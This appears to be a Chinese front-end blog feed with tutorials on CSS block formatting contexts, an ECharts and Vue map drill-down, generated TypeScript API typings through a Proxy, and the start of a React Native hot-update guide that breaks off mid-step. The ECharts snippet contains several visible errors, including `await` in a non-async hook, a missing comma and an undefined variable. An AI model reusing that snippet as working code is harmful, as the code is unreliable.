普通视图

发现新文章,点击刷新页面。
今天 — 2025年7月4日掘金 前端

清除浮动/避开margin折叠:前端CSS中BFC的特点与限制

作者 漂流瓶jz
2025年7月3日 23:12

BFC 是什么

BFC 的全称为 Block Formatting Context,含义是块级格式化上下文。在 MDN 中,对它的解释为:

BFC 是 Web 页面的可视 CSS 渲染的一部分,是块级盒子的布局过程发生的区域,也是浮动元素与其他元素交互的区域。

第一次了解 BFC 的同学对这个解释肯定一头雾水,这个 BFC 的解释好像说了什么,又好像什么都没说。简单来说,BFC 实际上是一种作用于元素上的模式,如果符合出现的 BFC 出现的条件,就会成为一个 BFC 区域,对应的元素样式处理就符合 BFC 模式的特点。下面先看一下 BFC 出现的条件(图源 MDN):

bfc-1.png

可以看到,符合 BFC 出现的条件有很多。注意看,文档的根元素<html>是一个 BFC 区域。大部分条件都是明确的修改 CSS 属性以达到某些样式效果,变为 BFC 区域只不过是它们的副作用。只有一个无其它作用,专门设置为 BFC 区域的条件:display: flow-root。本文的例子中主要使用这个条件来设置 BFC 区域。

成为 BFC 区域后,这个区域内的元素不会受到外部元素的影响,内部元素也不会影响外部元素的布局。特点列举如下:

  • BFC 区域会包含内部的浮动元素
  • BFC 区域会避开外部的浮动元素
  • 避开外部 margin 折叠效果

其中与浮动有关的特点在之前我写“聊一下 CSS 中的标准流,浮动流,文本流,文档流”文章的时候讲过,但当时我们的关注点在于浮动,这次还是重新描述一下,但重点放在 BFC 本身。

包含内部浮动元素

浮动是设置了 CSS 中 float 属性为 left 或者 right 的元素。设置了浮动之后,元素本身便脱离了文档流,父元素计算空间时也不会包含内部的浮动元素。这样会造成浮动的父元素塌陷问题。但设置了 BFC 之后,父元素就会包含内部的浮动元素。

<html>
  <body>
    <div class="wrapper">
      <div class="parent">
        <div class="child"></div>
      </div>
    </div>
    <div class="wrapper">
      <div class="parent bfc">
        <div class="child"></div>
      </div>
    </div>
  </body>
  <style>
    .wrapper {
      height: 150px;
      width: 100%;
    }
    .parent {
      border: 1px solid blue;
    }
    .child {
      float: left;
      width: 100px;
      height: 100px;
      background: yellow;
    }
    .bfc {
      display: flow-root;
    }
  </style>
</html>

bfc-2.png

  • 第一个例子是非 BFC,可以看到父元素已经塌陷到只有一条线了,内部浮动的黄元素位置在父元素之外。
  • 第一个例子在父元素设置了 BFC,父元素包裹住了内部浮动的黄元素,不会造成父元素塌陷问题。

BFC 包含内部的浮动元素的特点仅适用于符合 BFC 条件的那个元素,在 BFC 元素内部的元素则没有这个特点。即 BFC 元素本身可以包含内部的浮动元素,但是 BFC 内部包含的元素是无法包含它的浮动子元素的。这里不用举例,因为根 HTML 元素就是一个 BFC 区域,假设内部的所有子元素都有这个特点,那么浮动父元素塌陷的问题将永远不会存在。

避开外部浮动元素

BFC 区域除了可以将内部的浮动元素包裹进来之外,还可以避开外部的浮动元素,即 BFC 区域以外的浮动元素不会覆盖到 BFC 内部。我们看下例子:

<html>
  <body>
    <div class="wrapper">
      <div class="first"></div>
      <div class="second"></div>
    </div>
    <div class="wrapper">
      <div class="first"></div>
      <div class="second bfc"></div>
    </div>
    <div class="wrapper">
      <div class="parent">
        <div class="first"></div>
      </div>
      <div class="second"></div>
    </div>
    <div class="wrapper">
      <div class="parent">
        <div class="first"></div>
      </div>
      <div class="second bfc"></div>
    </div>
  </body>
  <style>
    .wrapper {
      height: 130px;
      width: 100%;
    }
    .parent {
      border: 1px solid blue;
      height: 10px;
    }
    .first {
      float: left;
      width: 100px;
      height: 100px;
      background: yellow;
    }
    .second {
      width: 150px;
      height: 100px;
      background: green;
    }
    .bfc {
      display: flow-root;
    }
  </style>
</html>

bfc-3.png

  • 第一个例子:第一个黄元素浮动,第二个绿元素未浮动。由于浮动元素脱离了文档流,因此将后面的非浮动元素覆盖了。
  • 第二个例子:第二个元素设置了 BFC,可以看到 BFC 区域避开了前面的浮动元素。
  • 第三个例子:第一个浮动黄元素被包裹在父元素中。父元素未浮动。绿元素避开了非浮动的父元素,但是依然被浮动黄元素覆盖。
  • 第四个例子:绿元素设置了 BFC,BFC 区域避开了前面的浮动元素。

避开外部 margin 折叠效果

元素的外边距 margin,如果相互靠近时,会发生折叠现象,即两个靠近的外边距会合并,实际两个元素之间的 margin 距离为两个 margin 中的较大值。外部 margin 折叠效果只在垂直方向上发生。有几种情况会造成 margin 折叠,这里列举一下:

  • 空元素
  • 父子元素
  • 相邻兄弟元素

下面将会提供这些场景中 margin 折叠的实例,以及设置 BFC 之后的效果。设置 BFC 之后,只有部分场景可以避开 margin 折叠,且避开 margin 折叠效果也仅仅对设置 BFC 的那个元素有效。它内部的元素互相之间的 margin 折叠效果依然是存在的。原因与前面一致:根元素就是一个 BFC 区域,如果 BFC 内部的元素互相没有 margin 折叠效果,那么所有元素都没有 margin 折叠效果了。

空元素

一个没有高度,没有边框,padding 和子元素的元素是一个空元素。默认情况下,空元素的上下 margin 会合并。但设置 BFC 之后,空元素的上下 margin 就不再合并了。

<html>
  <body>
    <div class="wrapper">
      <div class="first"></div>
    </div>
    <div class="wrapper">
      <div class="first bfc"></div>
    </div>
  </body>
  <style>
    .wrapper {
      width: 100%;
      border: 1px solid red;
      margin-bottom: 20px;
    }
    .first {
      margin: 10px;
    }
    .bfc {
      display: flow-root;
    }
  </style>
</html>

bfc-4.png

第一个例子是未设置 BFC,上下 10px 的 margin 被合并了。第二个例子设置了 BFC 之后,margin 不再合并,可以看到父元素的高度明显变高了一倍。

父子元素

当父子元素之间没有间隔(例如 border, padding, 其它元素等)时,父子元素的 margin 会出现折叠现象。我们看下例子以及设置 BFC 之后的效果:

<html>
  <body>
    <div class="wrapper">
      <div class="parent">
        <div class="child"></div>
      </div>
    </div>
    <div class="wrapper">
      <div class="parent bfc">
        <div class="child"></div>
      </div>
    </div>
    <div class="wrapper">
      <div class="parent">
        <div class="child bfc"></div>
      </div>
    </div>
  </body>
  <style>
    .wrapper {
      width: 100%;
      border: 1px solid red;
      margin-bottom: 20px;
    }
    .parent {
      margin: 10px;
      background: yellow;
      width: 150px;
    }
    .child {
      margin: 10px;
      background: blue;
      height: 50px;
      width: 100px;
    }
    .bfc {
      display: flow-root;
    }
  </style>
</html>

bfc-5.png

  • 第一个例子:父子元素的顶部没有间隔,出现了 margin 折叠现象。
  • 第二个例子:父元素设置了 BFC,可以看到父子元素的 margin 没有折叠,子元素 margin 部分被染上了父元素的颜色。
  • 第三个例子:子元素设置了 BFC,可以看到 margin 折叠现象依然存在。

因此,父子元素折叠的场景下,要对父元素设置 BFC 才可以避开 margin 折叠,对子元素设置无效。

相邻兄弟元素

上下相邻的同一层级的兄弟元素的 margin 也会出现折叠现象,我们看一下例子:

<html>
  <body>
    <div class="wrapper">
      <div class="first"></div>
      <div class="second"></div>
    </div>
    <div class="wrapper">
      <div class="first"></div>
      <div class="second bfc"></div>
    </div>
    <div class="wrapper">
      <div class="first bfc"></div>
      <div class="second"></div>
    </div>
  </body>
  <style>
    .wrapper {
      border: 1px solid red;
      margin-bottom: 20px;
      height: 130px;
      width: 100%;
    }
    .first {
      width: 100px;
      height: 50px;
      background: yellow;
      margin: 10px;
    }
    .second {
      width: 150px;
      height: 50px;
      background: green;
      margin: 10px;
    }
    .bfc {
      display: flow-root;
    }
  </style>
</html>

bfc-6.png

  • 第一个例子:兄弟元素上下相邻,出现了 margin 折叠现象。
  • 第二个例子:下面的元素设置了 BFC,margin 折叠现象依然存在。
  • 第三个例子:上面的元素设置了 BFC,margin 折叠现象依然存在。

可以看到,不管是上面还是下面元素设置 BFC,都不会避开 margin 折叠现象。那么 BFC 是不是无法避开兄弟元素的折叠现象呢? 我们看一下组合场景。

<html>
  <body>
    <div class="wrapper">
      <div class="parent">
        <div class="first"></div>
      </div>
      <div class="second"></div>
    </div>
    <div class="wrapper">
      <div class="bfc parent">
        <div class="first"></div>
      </div>
      <div class="second"></div>
    </div>
    <div class="wrapper">
      <div class="first"></div>
      <div class="parent">
        <div class="second"></div>
      </div>
    </div>
    <div class="wrapper">
      <div class="first"></div>
      <div class="bfc parent">
        <div class="second"></div>
      </div>
    </div>
  </body>
  <style>
    .wrapper {
      border: 1px solid red;
      margin-bottom: 20px;
      height: 140px;
      width: 100%;
    }
    .first {
      width: 100px;
      height: 50px;
      background: yellow;
      margin: 10px;
    }
    .second {
      width: 150px;
      height: 50px;
      background: green;
      margin: 10px;
    }
    .parent {
      background: blue;
      width: 300px;
    }
    .bfc {
      display: flow-root;
    }
  </style>
</html>

bfc-7.png

  • 第一个例子:上面的元素增加了父元素(设置为蓝色),出现了父子元素 margin 折叠,然后再跟下面的兄弟元素折叠。
  • 第二个例子:上面的父元素设置了 BFC,避开了父子元素 margin 折叠,因此避开了子元素与下面元素的 margin 折叠。
  • 第三个例子:下面的元素增加了父元素(设置为蓝色),出现了父子元素 margin 折叠,然后再跟上面的兄弟元素折叠。
  • 第四个例子:下面的父元素设置了 BFC,避开了父子元素 margin 折叠,因此避开了子元素与上面元素的 margin 折叠。

这里再尝试另一种组合场景:

<html>
  <body>
    <div class="wrapper">
      <div class="first"></div>
      <div></div>
      <div class="second"></div>
    </div>
    <div class="wrapper">
      <div class="first"></div>
      <div class="bfc"></div>
      <div class="second"></div>
    </div>
  </body>
  <style>
    .wrapper {
      border: 1px solid red;
      margin-bottom: 20px;
      height: 140px;
      width: 100%;
    }
    .first {
      width: 100px;
      height: 50px;
      background: yellow;
      margin: 10px;
    }
    .second {
      width: 150px;
      height: 50px;
      background: green;
      margin: 10px;
    }
    .bfc {
      display: flow-root;
    }
  </style>
</html>

bfc-8.png

这里在两个元素之间增加了一个空元素。在设置 BFC 之前,上下两个元素的 margin 是折叠的,中间空元素也被一起折叠了。在对空元素设置 BFC 之后,上下两个元素的 margin 不再折叠了。这个组合场景的原因分析如下:

空元素首先自身可以折叠,再与上下两个元素的 margin 折叠,最终成为了一个 magrin。设置了 BFC 之后,空元素本身不能折叠了,因此虽然空元素可以和上与下两个元素折叠,但是两个元素本身的 margin“没有接触的机会”,因此无法折叠。

通过这几个例子可以看出,BFC 不能阻止兄弟元素的 margin 折叠行为,如果希望禁止,则需要使用其它方式,例如利用空元素和父子元素实现。

BFC 真的不受任何影响么

网上很多文章说 BFC 区域不受外部的影响,但 BFC 真的不受任何影响么?肯定是受影响的。例如上面提到的避开 margin 折叠场景,部分 margin 折叠就是无法避开的。除此之外,这里再举一个 BFC 受定位影响的例子:

<html>
  <body>
    <div class="wrapper">
      <div class="first"></div>
      <div class="second"></div>
    </div>
    <div class="wrapper">
      <div class="first realtive"></div>
      <div class="second"></div>
    </div>
    <div class="wrapper">
      <div class="first realtive"></div>
      <div class="second bfc"></div>
    </div>
    <div class="wrapper">
      <div class="first absolute"></div>
      <div class="second"></div>
    </div>
    <div class="wrapper">
      <div class="first absolute"></div>
      <div class="second bfc"></div>
    </div>
    <div class="wrapper">
      <div class="first fixed" style="top: 490px"></div>
      <div class="second"></div>
    </div>
    <div class="wrapper">
      <div class="first fixed" style="top: 580px"></div>
      <div class="second bfc"></div>
    </div>
  </body>
  <style>
    .wrapper {
      border: 1px solid red;
      margin-bottom: 20px;
      height: 70px;
      width: 100%;
      position: relative;
    }
    .first {
      width: 100px;
      height: 30px;
      background: yellow;
    }
    .second {
      width: 150px;
      height: 40px;
      background: green;
    }
    .bfc {
      display: flow-root;
    }
    .realtive {
      position: relative;
      top: 20px;
    }
    .absolute {
      position: absolute;
      top: 20px;
    }
    .fixed {
      position: fixed;
    }
  </style>
</html>

bfc-9.png

  • 第一个例子:上下两个元素,未设置 BFC 与定位,做对比用。
  • 第二个例子:上面元素设置了相对定位,覆盖了下面的元素。
  • 第三个例子:下面的元素设置了 BFC,但没有避开相对定位元素的覆盖。
  • 第四个例子:上面元素设置了绝对定位,覆盖了下面的元素。
  • 第五个例子:下面的元素设置了 BFC,但没有避开绝对定位元素的覆盖。
  • 第六个例子:上面元素设置了固定定位,覆盖了下面的元素。
  • 第七个例子:下面的元素设置了 BFC,但没有避开固定定位元素的覆盖。

从这个例子可以看到,设置 BFC 对于避开定位是无效的,不管哪种定位模式,哪怕是相对定位也是无效的。

总结

我们描述了 BFC 的很多特点,看起来这些特点不多,但这其实仅仅是“在 BFC 内部新创建 BFC”的特点,而不是 BFC 的全部特性。BFC 本身还有很多特性,但由于 HTML 根结点本身就是一个 BFC,因此 BFC 的特性实际上就是 CSS 的一些本身特性。和 BFC 相对的一个词是 IFC(inline formatting context),含义是行内格式化上下文。IFC 的特点也是行内元素本身在 HTML 中的特点,因此就不多赘述了。

通过前面对 BFC 特点的描述,可能有一些疑惑:BFC 为什么要设计这种特性?说好的可以避开外部元素的影响,但又不能避开部分 margin 折叠场景,以及各类定位完全都不能避开。

我觉得,BFC 的本意确实是希望避开外部元素的影响,但避开的是“BFC 内部”的影响。BFC 外部的 margin 并不属于内部,因此相邻兄弟元素和 BFC 作为子元素时的折叠并没有避开。至于不能避开定位问题,因为 BFC 的条件太多了,如果定位不能避开,则定位功能会处处受限;另外这也与定位功能的本意冲突。

参考

昨天 — 2025年7月3日掘金 前端

echarts+vue实现中国地图板块渲染+省市区跳转渲染

2025年7月3日 18:50
  1. 首先绘画地图板块的坐标数据,阿里云免费的省市区坐标数据,链接 https://datav.aliyun.com/portal/school/atlas/area_selector, 看自己嵌套情况下载数据粒度,如果需要省市区跳转就全部下载, 文件下载后市和区的文件名是重名的 需要自己区分 还有一些地区的adcode嵌套的更深需要自己判断查找文件
  2. 加载坐标文件,通过echarts渲染地图板块
// 地图模版
<div class="initEchartsMap" id="mapContainer"></div>

import * as echarts from 'echarts'
import chinaGeoJson from '@/assets/map/china.json' // 导入中国地图 GeoJSON 数据


export default {
    data(){
        return {
            // 地图数据
            mapDatas: {},
            //当前点击的层级
            currentIndex: 1,
        }
    },
    
    mounted(){
        //这里根据t返回的地区名称加载坐标数据  默认加载全国
        const response = await import(`@/assets/map/${t}.json`)
        console.log(response, '=>respinse')
        this.mapData = response.default
        //初始化地图数据
        this.initMap(response.default)
           
           
    },
    methods:{
        initMap(mapJson) {
            this.mapInstance = echarts.init(document.getElementById('mapContainer'))
            echarts.registerMap(this.regionCity, mapJson) // 注册地图
            this.loadMap(this.regionCity)
      },
         
      //绘画地图
      loadMap(regionName) {
        let that = this
        const options = {
          tooltip: {
            trigger: 'item',
            position: function(point, params, dom, rect, size) {
              return [point[0] - 40, point[1] - 60] // 手动调整位置(x, y)//控制地图板块位置
            },

            formatter: params => {
              const data = this.tooltipData.find(
                item => item.rangeName === params.name,
              )
              if (data) {
                return this.tooltipTemplate(data)  //自定义鼠标划过显示的模版
              }
              return params.name
            },

            backgroundColor: '#fff',
            padding: [0, 0],
            borderRadius: 5,
            boxShadow: '0 2px 5px rgba(0, 0, 0, 0.2)',
            borderWidth: 0, // 禁用边框
          },
          grid: {
            right: '0%',
            top: '0%',
            bottom: '5%',
            width: '100%',
            height: '100%',
          },

          select: {
            label: {
              show: false,
            },
            itemStyle: {
              color: '#fff',
              areaColor: '#D7EEFF',
            },
          },

          series: [
            {
              name: '区域',
              type: 'map',
              map: regionName, //当前加载的区域名称
              roam: false, // 开启缩放和拖拽
              itemStyle: {
                normal: {
                  areaColor: '#DEF0FF',
                  borderColor: '#ACD8FF',
                  borderWidth: 1.3
                  shadowBlur: 15,
                  shadowColor: 'rgba(60,107,255,0.8)',
                  shadowOffsetX: 7,
                  shadowOffsetY: 6,
                },
                emphasis: {
                  areaColor: '#87D1FC',
                  borderWidth: 1.6,
                  shadowBlur: 25,
                },

              },

              label: {
                show: false, // 禁用区域名称显示
                fontSize: 0,
              },
               //获取后面点击所获取的地区名称和adcode
              data: this.mapData.features.map(item => ({
                name: item.properties.name,
                value: item.properties.adcode,
                item: item,
              })), // 数据可以动态绑定
              // 动态设置地图的中心点和缩放级别
              geo: {
                center: [0, 0], // 设置地图的中心点
              },

            },

          ],

        }

        this.mapInstance.setOption(options)
        
        //echarts自适应记
        window.addEventListener('resize', () => {
          this.mapInstance.resize()
        })

        // 添加点击事件监听

       
        that.mapInstance.off('click') // 避免重复绑定
        
        that.mapInstance.on('click', params => {
        
          this.regionProvince = params.name
          //这里因为数据问题需要手动查找,我就直接禁用了
          const restrictedRegions = ['台湾省', '南海诸岛', '海南省', '上海市'] // 禁止点击的特殊区
 
          const currentRegion = params.name // 当前点击区域的名称
          console.log(currentRegion, '当前点击的区域')

          let valisCode = params.data.item.properties.parent.adcode
          // 判断是否是禁止点击的区域
          if (restrictedRegions.includes(currentRegion)) {
            console.log(`${currentRegion} 不允许点击`)
            // this.$message.warning(`${currentRegion} 暂无数据`)
            return // 阻止点击操作
          }

          // 判断当前是否为第三级,使用自定义逻辑
          // 假设 yourCondition 是判断第三级的方法(如通过 params 层级属性判断)
          const isThirdLevel = this.currentIndex == 3 // 假设第三级的数据含有 level 属性
          if (isThirdLevel) {
            console.log('当前为第三级,禁止点击')

            // this.$message.warning(`${currentRegion} 暂无数据`)

            return // 阻止点击操作
          }
          //切换地图数据的操作
          this.handleMapClick(params)

        })

      },
      async handleMapClick(params) {
        const { name, value } = params // 当前点击的区域名称
        if (!name) return
        this.loading = true
        try {
          const geoJson = await this.fetchGeoJson(
            name,
            value,
            params.data.item.properties.parent.adcode,
          ) // 获取下一级地图数据
          if (geoJson) {
            this.initMap(mapJson)
          }

        } catch (error) {
          console.error('无法加载该区域数据:', error)
        }

      },
     

      async fetchGeoJson(regionName, value, parAdcode) {

        let t = 'china'

        let that = this
            //这里判断一下点击是否是市
        if (

          regionName.includes('市') &&

          (value === 110000 ||

            value === 120000 ||

            value === 310000 ||

            value === 500000)

        ) {

          this.currentIndex = 2

          this.regionCity = regionName

          t = regionName + 'd'   //这里加d时因为我的文件名称
            
          //这里要自己处理一下获取的数据,直接获取的echarts识别不了
          let nationalMapRangeList = {

            type: 'FeatureCollection',

            features: [],

          }
           //这里应该做一个封装的
          const response = await import(`@/assets/map/${t}.json`)
        
          response.default.features.map(item => {
            if (item.properties.parent.adcode === value) {
              nationalMapRangeList.features.push(item)
            }
          })
          this.mapData = nationalMapRangeList
          return nationalMapRangeList

        }

        if (this.currentIndex === 1) {

          t = regionName + 'c'

          this.currentIndex = 2
          this.regionCity = regionName

          try {

            const response = await import(`@/assets/map/${t}.json`)

            console.log(response, 'respinse1')

            this.mapData = response.default

            return response.default

          } catch (error) {

            console.error('加载 GeoJSON 数据失败:', error)

            return null

          }

        } else if (this.currentIndex === 2) {

          this.currentIndex = 3

          t = this.regionCity + 'd'

          let nationalMapRangeList = {

            type: 'FeatureCollection',

            features: [],

          }

          const response = await import(`@/assets/map/${t}.json`)

          response.default.features.map(item => {

            if (item.properties.parent.adcode === value) {

              nationalMapRangeList.features.push(item)

            }

          })

          this.mapData = nationalMapRangeList
          return nationalMapRangeList
        }

      },

    },
    }

}

这样就实现了一个 基础的 地图板块渲染+省市区跳转

前端接口定义终极方案:类型即接口,和手写API说拜拜!👋👋👋

作者 namehu
2025年7月3日 18:48

嘿,各位前端的兄弟姐妹们!大家好,我是一位在前端世界里摸爬滚打了多年的架构师。

今天不聊高深的框架源码,也不谈玄乎的未来趋势,我们就来聊聊日常工作中那个最常见,也最让人头疼的话题——接口对接

前言:那些年,我们一起"堆"过的 API

前后端分离的架构下,相信很多前端每天的日常就是:切图、看接口文档、定义请求服务、联调、改 Bug、再联调…… 如此循环往复。前端页面就像一座座等待装修的房子,而后端接口就是那些必不可少的水、电、煤气管道。

管道(接口)的铺设(对接)工作,既关键又繁琐。一个项目下来,几十上百个接口是家常便饭。这些接口定义充满了重复性的劳动,但又必须小心翼翼地处理,生怕哪个参数传错,哪个字段写歪,联调时换来后端小哥一个"亲切"的白眼。🙄

现状:刀耕火种的"手工业"时代

在很多团队里,我们对接接口的方式还非常"朴素"。后端同学甩过来一个 Swagger 地址或者一个 Word 文档,然后我们前端就开始了"CV 大法":

  1. 打开 src/api 或者 src/services 目录。
  2. 新建一个 user.ts 或者 order.ts 文件。
  3. 对着文档,一个一个地手写 axios 或者 request 的调用。

我们来看一个典型的"手工艺品":

// src/api/member.ts  
import request from '@/utils/request';

// 定义获取会员列表的参数类型  
interface MemberListParams {  
  page: number;  
  size: number;  
  nickname?: string;  
}

// 定义会员信息类型  
interface MemberInfo {  
  id: number;  
  nickname: string;  
  avatar: string;  
  level: number;  
}

// 获取会员列表  
export function getMemberList(params: MemberListParams) {  
  return request.get<MemberInfo[]>('/api/member/list', { params });  
}

// 获取会员详情  
export function getMemberDetail(id: number) {  
  return request.get<MemberInfo>(`/api/member/detail/${id}`);  
}

// ... 可能还有几十上百个类似的函数

看起来是不是很熟悉?这种方式有几个显而易见的问题:

  • 枯燥且耗时:纯粹的体力活,毫无技术含量,但又不得不做。
  • 容易出错:手写 URL、参数名、params 和 data 的位置,一不留神就写错了。
  • 维护困难:后端接口一变更(比如改个字段名,换个请求方式),前端就需要手动在成堆的代码里找到对应的位置进行修改,苦不堪言。

每当这时,我都在想,我们前端工程师,是来创造用户价值的,不是来当接口的"搬运工"的!我们必须找到一种更优雅、更高效的方式!🤖

新一代对接方案:swagger-typescript-api 闪亮登场

终于,我找到了解放生产力的利器——swagger-typescript-api

这是一个能根据 Swagger (OpenAPI) v2/v3 的 JSON/YAML 规范,自动生成 TypeScript 或 JavaScript 接口代码的库。它的核心思想就是:让代码生成代码

官方的使用方式很简单,通常一个命令就能搞定:

npx swagger-typescript-api -p http://your.swagger.url/v2/api-docs -o ./src/api --no-client

执行完毕后,它会帮你生成类似下面这样的文件:

// -- out/api.ts --  
import { HttpClient, RequestParams } from "./http-client";

export class Users<SecurityDataType = unknown> extends HttpClient<SecurityDataType> {  
  /**  
   * No description  
   *  
   * @tags user  
   * @name UsersList  
   * @request GET:/users  
   */  
  usersList = (params: RequestParams = {}) =>  
    this.request<User[], any>({  
      path: `/users`,  
      method: "GET",  
      ...params,  
    });  
}

这已经比手写好太多了!它自动生成了类、方法、参数类型和注释。但...对于追求极致的我们来说,这还不够完美。

内部实战:追求极致的"魔改"之路

官方的方案虽好,但在我们的实际项目中,还是发现了一些可以优化的地方:

  1. 耦合请求库:生成的代码通常会依赖它内部的 HttpClient,而我们公司使用的是自己封装的 request 库,有统一的拦截器、错误处理和认证逻辑。
  2. 代码冗余:每个接口都生成一个实体方法,如果项目有 500 个接口,就会生成 500 个方法。这会显著增加最终的打包体积。
  3. 不够灵活:调用方式相对固定,且命名不够直观,我们希望有更简洁的调用体验。

于是,我走上了一条"魔改"之路,目标是:只生成类型定义,通过代理(Proxy)实现动态调用

我们封装了自己的库 @wmeimob/swagger-api-templates,它利用 swagger-typescript-api 的自定义模板能力,以及自定义 CLI 功能。产出了我们想要的"终极形态"。

1. 工作流程革新

我们的整个自动化流程是这样的,请看图:

graph TD
    A[后端同学在 Apifox/Swagger 中维护接口] --> B{导出 swagger.json}
    B --> C[前端开发者将 json 文件放入项目]
    C --> D[运行 npm run gen:api]
    D --> E["@wmeimob/swagger-api-templates"]
    E --> F[生成代码]
    F --> G["1、 纯类型接口定义文件 Admin.ts"]
    F --> H["2、 DTO 类型定义文件 data-contracts.ts"]
    F --> I["3、Proxy 动态调用入口 index.ts"]
    I --> J[页面中类型安全地调用 API]
    J --> K[统一请求实例 requestInstance]
    
    style F fill:#f9f,stroke:#333,stroke-width:2px
    style I fill:#ccf,stroke:#333,stroke-width:2px

2. "魔改"后的代码产物

通过我们的流程,生成的代码长什么样呢?这才是最酷的部分!

产物一:纯类型接口定义 (Admin.ts)

注意看,这个文件里没有任何一个函数实现,它只是一个巨大的 interface,用 URL 作为 key,定义了每个接口的函数签名。

// src/request/Admin.ts  
import { ITaroRequestConfig } from "@wmeimob/request/src/types/taro-type";  
import * as DC from "./data-contracts";

type RequestConfig = Partial<ITaroRequestConfig>;

export interface APIGET {  
  /**  
   * @summary 详情  
   * @tags admin/系统-资源管理, 系统-资源管理  
   */  
  "/admin/api/sysResource/detail/{resource-id}": (  
    query: { resourceId: number } & { requestConfig?: RequestConfig }  
  ) => Promise<DC.JsonResultResourceDetailVo>;

  /**  
   * @summary 列表  
   * @tags admin/会员-会员管理, 会员管理  
   */  
  "/admin/api/member/query": (  
    query: DC.AdminApiMemberQueryGetParams & { requestConfig?: RequestConfig }  
  ) => Promise<DC.JsonResultPagedResultMemberDetailOutputDto>;

  // ... 其他几百个接口类型  
}

export interface APIPOST {
    // ... POST 接口类型  
}  
// ... 其他请求方法的接口类型

产物二:数据传输对象 (data-contracts.ts)

这个文件包含了所有后端定义的 DTO (Data Transfer Object),同样是纯 interface。

// src/request/data-contracts.ts  
export interface JsonResultResourceDetailVo {  
  /** @format int32 */  
  code?: number;  
  data?: ResourceDetailVo;  
  msg?: string;  
}

export interface ResourceDetailVo {  
  id?: number;  
  name?: string;  
  // ...  
}

export interface AdminApiMemberQueryGetParams {  
  /** @format int32 */  
  page?: number;  
  /** @format int32 */  
  size?: number;  
  name?: string;  
}

产物三:灵魂所在——Proxy 调用入口 (index.ts)

这才是魔法发生的地方!我们导出一个 api 对象,它是一个 Proxy。当你调用 api.get['/admin/api/sysResource/detail/{resource-id}'] 时,Proxy 的 get 钩子会被触发。

// src/request/index.ts  
import * as Admin from "./Admin";  
import requestInstance from './instance';

export * from './data-contracts';

// ... 省略部分辅助函数

// 最终导出的 api 对象类型,聚合了所有请求方法  
export type UType = {  
  get: Admin.APIGET;  
  post: Admin.APIPOST;  
  // ... del, put  
};

// 创建一个 Proxy 对象  
export const api: UType = new Proxy(  
  {  
    get: createMethodProxy('GET'),  
    post: createMethodProxy('POST'),  
    del: createMethodProxy('DELETE'),  
    put: createMethodProxy('PUT'),  
    // ...  
  },  
  {  
    // ... 省略了兼容旧写法的逻辑  
  }  
);

// 为每种 HTTP 方法创建一个子 Proxy  
function createMethodProxy(method: string) {  
  return new Proxy({}, {  
    get: (_target: any, propKey: string) => getterHandler(propKey, method)  
  });  
}

// 核心处理函数  
function getterHandler(url: string, method: string) {  
  // 返回一个真正的函数,它接收参数并发起请求  
  return (args: any) => {  
    let _url = url;  
    let { requestConfig = {}, query = {}, ...rest } = args ?? {};

    // 处理动态路由参数,例如 /path/{id}  
    if (_url.includes('{')) {  
      // ... 逻辑:从 args 中找到 id,并替换 url 中的 {id}  
    }

    const config = { method, url: _url, ...requestConfig };

    // 根据请求类型,将参数放到 params 或 data 中  
    if (['POST', 'PUT'].includes(method)) {  
      config.data = rest;  
      if (Object.keys(query).length) {  
        config.params = query;  
      }  
    } else {  
      config.params = rest;  
    }

    // 调用我们项目统一的请求实例  
    return requestInstance(config);  
  };  
}

3. 优雅的调用方式

有了上面的魔法,我们在页面中的调用就变成了这样:

// src/pages/resource/index.tsx  
import { api } from '@/request';

async function getResourceDetail(id: number) {  
  // 看这里!调用如此清爽!  
  // 并且,你将获得完美的 TypeScript 类型提示!  
  // 当你输入 `{` 时,IDE 会自动提示你需要 `resourceId: number`  
  const { data = {} } = await api.get['/admin/api/sysResource/detail/{resource-id}']({ resourceId: id });  
    
  // `data` 的类型也会被自动推断为 `ResourceDetailVo`  
  console.log(data.name);   
}

这种方式的好处简直不要太明显:

  1. 极致的类型安全:从 URL 到参数再到返回值,全程享受 TypeScript 带来的丝滑体验,再也不怕传错参数了。
  2. 零实体代码:生成的接口文件全是类型定义,体积几乎可以忽略不计,有效减小了最终的打包产物大小。
  3. 调用即文档:api.get['/some/url'] 的写法本身就清晰地表明了请求的地址和方法,代码可读性极强。
  4. 维护成本趋近于 0:后端更新了接口?没关系,重新生成一下就好,整个过程不超过 1 分钟,剩下的时间,摸鱼喝茶不香吗?😎

总结:让我们一起,早点下班!

通过 swagger-typescript-api 的强大能力,结合自定义模板和 Proxy 的动态特性,我们成功地将前端接口对接从一项繁琐、易错的"手工业",升级为了全自动、高效率的"现代工业"。

配合 Apifox 这类强大的 API 设计工具,后端同学只需要点几下鼠标导出最新的 swagger.json,我们前端执行一个命令,所有接口的变更就自动同步到了代码中。

从此,我们告别了手写 API 的时代,将宝贵的时间和精力投入到更有创造性的工作中去。这不仅提升了开发效率和代码质量,更重要的是,提升了我们前端工程师的幸福感。

好了,不说了,又到了生成接口的时间,一键搞定,准备下班!🚀

希望这篇文章能给你带来一些启发。如果你对我们的方案感兴趣,不妨也尝试在你的团队中推广起来吧!

CodePush停服后,如何用腾讯Shiply快速实现ReactNative热更新?

作者 Polynesia
2025年7月3日 18:41

1.  背景

CodePush是微软VisualStudioAppCenter服务的一个子功能,支持动态下发RN热更新产物。

但是VisualStudioAppCenter 2025/3/31 已经停止服务,如果想继续使用CodePush需要自己独立部署。

专门独立部署一套后台服务,对于个人开发者尤其是客户端开发来说时间成本较高,后期维护也需要投入不少精力,最好还是使用已有的下发平台。

调研了一下发现目前Pushy和Shiply平台都支持RN热更新。

Pushy 是ReactNative中文网推出的RN下发平台,支持差量更新,CLI和网页双端管理。

Shiply 是腾讯端服务团队推出的面向客户端的全场景发布平台,支持动态下发配置、资源、软件包(App)、Android热更新、flutter热更新,最近刚上线了RN热更新功能。

 

体验下来感觉Shiply的前端交互更友好,有完整的审批发布流程,支持多维度的下发规则,能看到客户端下发加载数据,下面详细介绍下Shiply RN热更新的接入和使用过程。

 

2.  Shiply RN热更新接入实战

2.1.  创建Shiply项目及产品

参考第三点中的发布平台使用指引,创建一个测试项目,并创建Android和iOS产品。

2.2.  创建RN模块

参考第三点中的发布平台使用指引,创建一个名叫「testRN」的模块,绑定2.1中创建的两个产品。

2.3.  接入Shiply RN动态化SDK

2.3.1.  创建RN demo

先创建一个RN demo工程:

npx @react-native-community/cli init TestShiplyRN --version 0.78

 

2.3.2.  添加RN层依赖

在demo项目根目录执行

npm install rn-shiply-upgrade

 

2.3.3.  添加Android层依赖

在项目Android目录下的build.gradle文件中添加maven地址

allprojects {
  repositories {
